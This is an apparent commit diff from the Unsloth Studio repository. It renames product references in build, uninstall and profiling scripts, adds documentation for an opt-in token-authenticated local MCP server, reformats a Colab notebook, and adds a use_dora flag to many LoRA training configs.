ap.error("--max-healthz-seconds must be a finite number")
report: dict = {
"platform": platform.system().lower(),
"machine": platform.machine(),
"python": python_version_of(a.python),
"cpu_count": os.cpu_count(),
}
print("== import graph ==")
report["imports"] = profile_imports(a.python)
imp = report["imports"]
if imp.get("ok"):
print(f" import main: {imp['total_seconds']}s")
for row in imp["top_cumulative"][:8]:
print(f" {row['seconds']:7.3f}s {row['module']}")
print(" self time by package (ms):")
for k, v in list(imp["self_by_package_ms"].items())[:8]:
print(f" {v:8} ms {k}")
else:
print(f" FAILED: {imp.get('error', '')[:400]}")
if not a.import_only:
bin_path = a.bin or find_bin()
if not bin_path:
print(
"== launch == skipped: no unsloth CLI found "
"(set UNSLOTH_STUDIO_HOME or pass --bin)"
)
report["launch"] = {"skipped": "no unsloth CLI found"}
else:
print(f"== launch == {bin_path}")
runs = []
for i in range(a.repeats):
r = profile_launch(bin_path, _free_port())
runs.append(r)
print(
f" run {i + 1}: healthz={r['healthz_seconds']}s "
f"lifespan={r['lifespan_ms']}ms reached={r['reached_healthz']}"
)
got = [r["healthz_seconds"] for r in runs if r["healthz_seconds"] is not None]
report["launch"] = {
"runs": runs,
"failed_runs": sum(1 for r in runs if not r["reached_healthz"]),
"healthz_median_seconds": round(statistics.median(got), 3) if got else None,
"healthz_max_seconds": round(max(got), 3) if got else None,
}
if got:
print(
f" median time to healthy port: {report['launch']['healthz_median_seconds']}s"
)
if a.json:
Path(a.json).write_text(json.dumps(report, indent = 2), encoding = "utf-8")
print(f"\nwrote {a.json}")
if a.max_healthz_seconds is not None:
launch = report.get("launch") or {}
med = launch.get("healthz_median_seconds")
failed = launch.get("failed_runs") or 0
if failed:
# Failed launches fail the budget; dropping them would keep only the fast ones.
print(
f"::error::startup regression: {failed} of {len(launch.get('runs') or [])} "
f"launches never became healthy within the timeout"
)
return 1
if med is None:
# Nothing measured: exiting 0 would pass a requested budget without a
# single health request, so fail closed.
print(
"::error::startup regression: no healthz measurement, so the "
f"{a.max_healthz_seconds}s budget was never checked "
f"({launch.get('skipped') or 'launch phase produced no runs'})"
)
return 1
elif med > a.max_healthz_seconds:
print(
f"::error::startup regression: {med}s median to a healthy port "
f"exceeds the {a.max_healthz_seconds}s budget"
)
return 1
return 0
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1:]))

View file

@ -62,7 +62,7 @@ REPO_ROOT = Path(__file__).resolve().parents[1]
# Hard caps (deliberately conservative; npm tarballs in this repo are
# all well under these limits, so a packaging spike is noticeable).
# ─────────────────────────────────────────────────────────────────────
# Caps calibrated against the real Studio frontend transitive closure:
# Caps calibrated against the real Unsloth frontend transitive closure:
# - typescript.js is 9.1 MB (TS compiler bundled into one file)
# - mermaid 11.x dist/mermaid.js.map is ~12 MB (sourcemap)
# - lightningcss-linux-x64-{gnu,musl}.node is 10 MB

File diff suppressed because one or more lines are too long

View file

@ -2,7 +2,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Stamp and verify display-only Studio release metadata for builds."""
"""Stamp and verify display-only Unsloth release metadata for builds."""
from __future__ import annotations
@ -50,7 +50,7 @@ MAX_VERSION_LENGTH = 64
PLACEHOLDER = """# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
\"\"\"Build-stamped Studio release metadata.
\"\"\"Build-stamped Unsloth release metadata.
Release builds may rewrite this module in the build workspace before creating
Python artifacts. Keep the committed value neutral so source checkouts do not
@ -145,7 +145,7 @@ def build_info_source(version: str | None) -> str:
return f'''# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Build-stamped Studio release metadata."""
"""Build-stamped Unsloth release metadata."""
STUDIO_RELEASE_VERSION = {literal}
'''
@ -168,7 +168,7 @@ def stamp(require_release: bool) -> int:
version, source = resolve_version()
if version is not None and not is_valid_version(version):
print(
f"Invalid Studio release version from {source}: {version!r}",
f"Invalid Unsloth release version from {source}: {version!r}",
file = sys.stderr,
)
return 2
@ -196,9 +196,9 @@ def stamp(require_release: bool) -> int:
if version is None:
if require_release:
print(
"No Studio release version available. Set "
"No Unsloth release version available. Set "
"UNSLOTH_STUDIO_RELEASE_VERSION, build from a GitHub tag, "
"or run from an exact local Studio release tag.",
"or run from an exact local Unsloth release tag.",
file = sys.stderr,
)
return 2
@ -207,7 +207,7 @@ def stamp(require_release: bool) -> int:
return 0
_atomic_write_text(BUILD_INFO_PATH, build_info_source(version), encoding = "utf-8")
print(f"Stamping Studio release version {version} from {source}", file = sys.stderr)
print(f"Stamping Unsloth release version {version} from {source}", file = sys.stderr)
print(version)
return 0
@ -233,7 +233,7 @@ def _read_sdist_member(path: Path) -> str | None:
def verify_dist(expected: str, dist_dir: Path) -> int:
if not is_valid_version(expected):
print(f"Invalid expected Studio release version: {expected!r}", file = sys.stderr)
print(f"Invalid expected Unsloth release version: {expected!r}", file = sys.stderr)
return 2
artifacts = list(dist_dir.glob("*.whl")) + list(dist_dir.glob("*.tar.gz"))
@ -251,14 +251,14 @@ def verify_dist(expected: str, dist_dir: Path) -> int:
if content is None:
failures.append(f"{artifact.name}: missing {BUILD_INFO_SUFFIX}")
elif expected_line not in content:
failures.append(f"{artifact.name}: Studio release version mismatch")
failures.append(f"{artifact.name}: Unsloth release version mismatch")
if failures:
for failure in failures:
print(failure, file = sys.stderr)
return 2
print(f"Verified Studio release version {expected} in {len(artifacts)} artifact(s)")
print(f"Verified Unsloth release version {expected} in {len(artifacts)} artifact(s)")
return 0

View file

@ -83,7 +83,7 @@ function Uninstall-UnslothStudio {
}
}
# A path is a Studio-owned root iff one of install.ps1's sentinels exists:
# A path is an Unsloth-owned root iff one of install.ps1's sentinels exists:
# <root>\share\studio.conf, <root>\unsloth_studio\.unsloth-studio-owned,
# or <root>\bin\unsloth.exe.
function _IsStudioRoot {
@ -164,7 +164,7 @@ function Uninstall-UnslothStudio {
return $p
}
# Discover non-default Studio roots from env vars + studio.conf files.
# Discover non-default Unsloth roots from env vars + studio.conf files.
# Mirrors install.ps1's precedence: UNSLOTH_STUDIO_HOME wins, STUDIO_HOME
# is ignored when both are set, so uninstalling install A doesn't also
# delete install B if the user has a stale STUDIO_HOME pointing at B.
@ -207,7 +207,7 @@ function Uninstall-UnslothStudio {
# Return $true iff the PID's image path lives under one of $KnownRoots.
# Prevents killing an unrelated process that happens to listen on a stale
# Studio port.
# Unsloth port.
function _PidUnderKnownRoot {
param([int]$Pid_, [string[]]$KnownRoots)
if (-not $KnownRoots -or $KnownRoots.Count -eq 0) { return $false }
@ -223,8 +223,8 @@ function Uninstall-UnslothStudio {
return $false
}
# Stop a Studio backend whose port is recorded in <DataDir>\studio.port.
# Only kills if the listening PID's exe path is under a known Studio root.
# Stop an Unsloth backend whose port is recorded in <DataDir>\studio.port.
# Only kills if the listening PID's exe path is under a known Unsloth root.
function _StopByPortFile {
param([string]$PortFile, [string[]]$KnownRoots)
if (-not (Test-Path -LiteralPath $PortFile -PathType Leaf)) { return }
@ -372,7 +372,7 @@ function Uninstall-UnslothStudio {
continue
}
if (-not (_IsStudioRoot $r)) {
_Substep "refusing to remove non-Studio path: $r" "Yellow"
_Substep "refusing to remove non-Unsloth path: $r" "Yellow"
continue
}
_RemovePath $r
@ -436,7 +436,7 @@ function Uninstall-UnslothStudio {
$entries = $rawPath -split ';'
$kept = New-Object System.Collections.ArrayList
$removedAny = $false
# Only remove PATH entries that live inside a Studio root we
# Only remove PATH entries that live inside an Unsloth root we
# actually own (default or env-mode). A literal substring
# match on `unsloth_studio` would clobber unrelated user
# virtualenvs that happen to share the name.

View file

@ -12,7 +12,7 @@
set -e
# Stop a Studio server via its PID file (written by install.sh's _spawn_terminal).
# Stop an Unsloth server via its PID file (written by install.sh's _spawn_terminal).
_kill_pid_file() {
_pid_file="$1"
[ -f "$_pid_file" ] || return 0
@ -47,7 +47,7 @@ _pkill_studio() {
command -v pkill >/dev/null 2>&1 || return 0
# Scope fallback patterns to the install roots we are removing so a
# different Studio install (different UNSLOTH_STUDIO_HOME) is not touched.
# different Unsloth install (different UNSLOTH_STUDIO_HOME) is not touched.
_kill_roots="$HOME/.unsloth/studio"
_roots_from_conf=$(_custom_studio_roots 2>/dev/null || true)
[ -n "$_roots_from_conf" ] && _kill_roots="$_kill_roots
@ -89,7 +89,7 @@ _remove_path() {
fi
}
# Accept as Studio root only if Studio sentinels exist (matches install.sh's
# Accept as Unsloth root only if Unsloth sentinels exist (matches install.sh's
# env-mode ownership guard at install.sh:1358-1361). A bare unsloth_studio/
# directory is NOT enough -- require the install-time owner marker so a user
# directory that happens to contain a folder named "unsloth_studio" is safe.
@ -175,8 +175,8 @@ _custom_studio_roots() {
_from_conf "$HOME/.local/share/unsloth/studio.conf"
}
# Remove $HOME/.local/bin/unsloth only if it's a Studio-managed symlink.
# Studio's install.sh writes this as a symlink into the studio venv
# Remove $HOME/.local/bin/unsloth only if it's an Unsloth-managed symlink.
# Unsloth's install.sh writes this as a symlink into the studio venv
# (install.sh: `ln -sfn "$VENV_DIR/bin/unsloth" "$_shim_path"`). A
# pip-installed `unsloth` CLI is a regular file — leave it alone to avoid
# wiping an unrelated install.
@ -206,7 +206,7 @@ _custom_studio_roots | while IFS= read -r _custom_root; do
continue
fi
if ! _is_studio_root "$_custom_root"; then
echo " refusing to remove non-Studio path: $_custom_root" >&2
echo " refusing to remove non-Unsloth path: $_custom_root" >&2
continue
fi
_remove_path "$_custom_root"
@ -234,7 +234,7 @@ _remove_path "$HOME/.unsloth/rocm-smoketest"
# Drop ~/.unsloth only if now empty (rmdir refuses non-empty, so user content is kept).
rmdir "$HOME/.unsloth" 2>/dev/null || true
_remove_path "$HOME/.local/share/unsloth"
# CLI shim: only the symlink Studio created, never a pip-installed file.
# CLI shim: only the symlink Unsloth created, never a pip-installed file.
_remove_cli_shim
echo "Removing desktop shortcut and launcher lock..."

34
studio/MCP.md Normal file
View file

@ -0,0 +1,34 @@
# Unsloth Studio MCP server
Unsloth can expose a local MCP server so an MCP client can inspect models and
GPU state, validate recipes, start or stop training, inspect recipe output, and
export a loaded model.
The server is disabled by default. Enable it for a local Unsloth process with:
```bash
UNSLOTH_STUDIO_ENABLE_MCP=1 \
UNSLOTH_STUDIO_MCP_TOKEN='use-a-local-secret' \
unsloth studio
```
The endpoint is `http://127.0.0.1:8888/mcp/` when Unsloth uses its default port
(a request to `/mcp` redirects to the canonical `/mcp/`). Use the actual Unsloth
port when it is configured differently.
The high-impact tools are:
- `studio_status` and `list_local_models` for discovery
- `get_training_status`, `start_training`, `stop_training`, and `list_training_runs`
- `validate_recipe`, `get_recipe_job_status`, and `get_recipe_job_dataset`
- `load_checkpoint` and `export_gguf`
`start_training` accepts the same fields as the Unsloth `TrainingStartRequest`.
The request is validated by the existing Pydantic model before a subprocess is
started. Export paths use the existing Unsloth validation as well.
The endpoint always requires `UNSLOTH_STUDIO_MCP_TOKEN` and checks an exact
Bearer token for both HTTP and WebSocket connections. Keep it on localhost
unless the deployment has an authenticated reverse proxy. The MCP endpoint is
intentionally opt-in because tools can consume GPU memory, write model
artifacts, and stop active work.

View file

@ -1,134 +1,145 @@
{
"cells": [
{
"cell_type": "markdown",
"metadata": {
"id": "view-in-github",
"colab_type": "text"
},
"source": [
"<a href=\"https://colab.research.google.com/github/unslothai/unsloth/blob/main/studio/Unsloth_Studio_Colab.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>"
]
"cells": [
{
"cell_type": "markdown",
"metadata": {
"id": "view-in-github",
"colab_type": "text"
},
"source": [
"<a href=\"https://colab.research.google.com/github/unslothai/unsloth/blob/main/studio/Unsloth_Studio_Colab.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>"
]
},
{
"cell_type": "markdown",
"metadata": {
"id": "6b87de59"
},
"source": [
"To run this, press \"*Runtime*\" and press \"*Run all*\" on a **free** Tesla T4 Google Colab instance!\n",
"<div class=\"align-center\">\n",
"<a href=\"https://unsloth.ai/\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/unsloth%20new%20logo.png\" width=\"115\"></a>\n",
"<a href=\"https://discord.gg/unsloth\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/Discord button.png\" width=\"145\"></a>\n",
"<a href=\"https://unsloth.ai/docs/\"><img src=\"https://github.com/unslothai/unsloth/blob/main/images/documentation%20green%20button.png?raw=true\" width=\"125\"></a> Join Discord if you need help + ⭐ <i>Star us on <a href=\"https://github.com/unslothai/unsloth\">Github</a> </i> ⭐\n",
"</div>\n",
"\n",
"To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n",
"\n",
"### Unsloth Studio\n",
"\n",
"Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n",
"\n",
"\n",
"We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n",
"\n",
"[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Unsloth Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)"
],
"id": "6b87de59"
},
{
"cell_type": "markdown",
"metadata": {
"id": "e4206349"
},
"source": [
"<p align=\"left\"><img src=\"https://github.com/unslothai/unsloth/raw/main/studio/frontend/public/studio%20github%20landscape%20colab%20display.png\" width=\"600\"></p>"
],
"id": "e4206349"
},
{
"cell_type": "markdown",
"metadata": {
"id": "27da2957"
},
"source": [
"### Setup: Clone repo and run setup"
],
"id": "27da2957"
},
{
"cell_type": "code",
"metadata": {
"id": "27e68f91"
},
"source": "!git clone --depth 1 --branch main https://github.com/unslothai/unsloth.git\n%cd /content/unsloth\n!chmod +x studio/setup.sh && ./studio/setup.sh --local",
"execution_count": null,
"outputs": [],
"id": "27e68f91"
},
{
"cell_type": "markdown",
"metadata": {
"id": "3e1771a9"
},
"source": [
"### Start Unsloth Studio"
],
"id": "3e1771a9"
},
{
"cell_type": "code",
"metadata": {
"id": "277e431e"
},
"source": [
"import sys\n",
"sys.path.insert(0, \"/content/unsloth/studio/backend\")\n",
"from colab import start\n",
"\n",
"# On Colab, start() auto-opens a Cloudflare link and prints admin login credentials.\n",
"# Use the Cloudflare link above the ready card to open Studio (in-cell iframes often stay blank).\n",
"start()\n",
"\n",
"# To skip the Cloudflare tunnel and try the in-notebook proxy iframe only:\n",
"# start(cloudflare=False)"
],
"execution_count": null,
"outputs": [],
"id": "277e431e"
},
{
"cell_type": "markdown",
"metadata": {
"id": "f2b0c6a1"
},
"source": [
"And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n",
"\n",
"Some other resources:\n",
"1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n",
"2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n",
"3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n",
"4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n",
"5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n",
"\n",
"<div class=\"align-center\">\n",
" <a href=\"https://unsloth.ai\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/unsloth%20new%20logo.png\" width=\"115\"></a>\n",
" <a href=\"https://discord.gg/unsloth\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/Discord.png\" width=\"145\"></a>\n",
" <a href=\"https://unsloth.ai/docs/\"><img src=\"https://github.com/unslothai/unsloth/blob/main/images/documentation%20green%20button.png?raw=true\" width=\"125\"></a>\n",
"\n",
" Join Discord if you need help + ⭐️ <i>Star us on <a href=\"https://github.com/unslothai/unsloth\">Github</a> </i> ⭐️\n",
"\n",
" <b>This notebook is licensed <a href=\"https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0\">AGPL-3.0</a></b>\n",
"</div>"
],
"id": "f2b0c6a1"
}
],
"metadata": {
"accelerator": "GPU",
"colab": {
"gpuType": "T4",
"provenance": [],
"include_colab_link": true
},
"kernelspec": {
"display_name": "Python 3",
"name": "python3"
},
"language_info": {
"name": "python"
}
},
{
"cell_type": "markdown",
"id": "6b87de59",
"metadata": {
"id": "6b87de59"
},
"source": [
"To run this, press \"*Runtime*\" and press \"*Run all*\" on a **free** Tesla T4 Google Colab instance!\n",
"<div class=\"align-center\">\n",
"<a href=\"https://unsloth.ai/\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/unsloth%20new%20logo.png\" width=\"115\"></a>\n",
"<a href=\"https://discord.gg/unsloth\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/Discord button.png\" width=\"145\"></a>\n",
"<a href=\"https://unsloth.ai/docs/\"><img src=\"https://github.com/unslothai/unsloth/blob/main/images/documentation%20green%20button.png?raw=true\" width=\"125\"></a> Join Discord if you need help + ⭐ <i>Star us on <a href=\"https://github.com/unslothai/unsloth\">Github</a> </i> ⭐\n",
"</div>\n",
"\n",
"To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n",
"\n",
"### Unsloth Studio\n",
"\n",
"Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n",
"\n",
"\n",
"We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n",
"\n",
"[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Studio Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)"
]
},
{
"cell_type": "markdown",
"id": "e4206349",
"metadata": {
"id": "e4206349"
},
"source": [
"<p align=\"left\"><img src=\"https://github.com/unslothai/unsloth/raw/main/studio/frontend/public/studio%20github%20landscape%20colab%20display.png\" width=\"600\"></p>"
]
},
{
"cell_type": "markdown",
"id": "27da2957",
"metadata": {
"id": "27da2957"
},
"source": [
"### Setup: Clone repo and run setup"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "27e68f91",
"metadata": {
"id": "27e68f91"
},
"outputs": [],
"source": "!git clone --depth 1 --branch main https://github.com/unslothai/unsloth.git\n%cd /content/unsloth\n!chmod +x studio/setup.sh && ./studio/setup.sh --local"
},
{
"cell_type": "markdown",
"id": "3e1771a9",
"metadata": {
"id": "3e1771a9"
},
"source": [
"### Start Unsloth Studio"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "277e431e",
"metadata": {
"id": "277e431e"
},
"outputs": [],
"source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\n\n# Default: in-tab iframe only. start() blocks to keep the kernel alive.\nstart()\n\n# For a shareable Cloudflare link, replace start() above with:\n# start(cloudflare=True)"
},
{
"cell_type": "markdown",
"id": "f2b0c6a1",
"metadata": {
"id": "f2b0c6a1"
},
"source": [
"And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n",
"\n",
"Some other resources:\n",
"1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n",
"2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n",
"3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n",
"4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n",
"5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n",
"\n",
"<div class=\"align-center\">\n",
" <a href=\"https://unsloth.ai\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/unsloth%20new%20logo.png\" width=\"115\"></a>\n",
" <a href=\"https://discord.gg/unsloth\"><img src=\"https://github.com/unslothai/unsloth/raw/main/images/Discord.png\" width=\"145\"></a>\n",
" <a href=\"https://unsloth.ai/docs/\"><img src=\"https://github.com/unslothai/unsloth/blob/main/images/documentation%20green%20button.png?raw=true\" width=\"125\"></a>\n",
"\n",
" Join Discord if you need help + ⭐️ <i>Star us on <a href=\"https://github.com/unslothai/unsloth\">Github</a> </i> ⭐️\n",
"\n",
" <b>This notebook is licensed <a href=\"https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0\">AGPL-3.0</a></b>\n",
"</div>"
]
}
],
"metadata": {
"accelerator": "GPU",
"colab": {
"gpuType": "T4",
"provenance": [],
"include_colab_link": true
},
"kernelspec": {
"display_name": "Python 3",
"name": "python3"
},
"language_info": {
"name": "python"
}
},
"nbformat": 4,
"nbformat_minor": 5
"nbformat": 4,
"nbformat_minor": 5
}

View file

@ -3,7 +3,7 @@
Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking
flag plus null-rendering, string-arguments validation, balanced turn tags, empty
messages handling, and OpenAI image_url/input_audio aliases).
Studio-local changes vs PR #118:
Unsloth-local changes vs PR #118:
1. preserve_thinking defaults to false (see SETUP block below).
2. The empty "<|channel>thought\n<channel|>" block on enable_thinking=false is
NOT emitted. Google ships a distinct template for E2B/E4B (google/gemma-4-E2B-it,

View file

@ -3,7 +3,7 @@
Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking
flag plus null-rendering, string-arguments validation, balanced turn tags, empty
messages handling, and OpenAI image_url/input_audio aliases).
Studio-local change: preserve_thinking defaults to false (see SETUP block below).
Unsloth-local change: preserve_thinking defaults to false (see SETUP block below).
Applied to unsloth/gemma-4-*-GGUF models so the embedded GGUF template does not
need re-downloading. Keep in sync with upstream if PR #118 changes.
-#}

View file

@ -30,6 +30,7 @@ lora:
vision_all_linear: false
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -30,6 +30,7 @@ lora:
vision_all_linear: false
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -33,6 +33,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -30,6 +30,7 @@ lora:
- "query"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -30,6 +30,7 @@ lora:
- "value"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -33,6 +33,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -29,6 +29,7 @@ lora:
- "Wqkv"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -33,6 +33,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -29,6 +29,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -29,6 +29,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -29,6 +29,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -29,6 +29,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -29,6 +29,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -26,6 +26,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -37,6 +37,7 @@ lora:
- "shared_mlp.output_linear"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -37,6 +37,7 @@ lora:
- "shared_mlp.output_linear"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -29,6 +29,7 @@ lora:
- "all-linear"
use_rslora: false
use_loftq: false
use_dora: false
finetune_vision_layers: true
finetune_language_layers: true
finetune_attention_modules: true

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -35,6 +35,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

View file

@ -34,6 +34,7 @@ lora:
- "down_proj"
use_rslora: false
use_loftq: false
use_dora: false
logging:
enable_wandb: false

Some files were not shown because too many files have changed in this diff Show more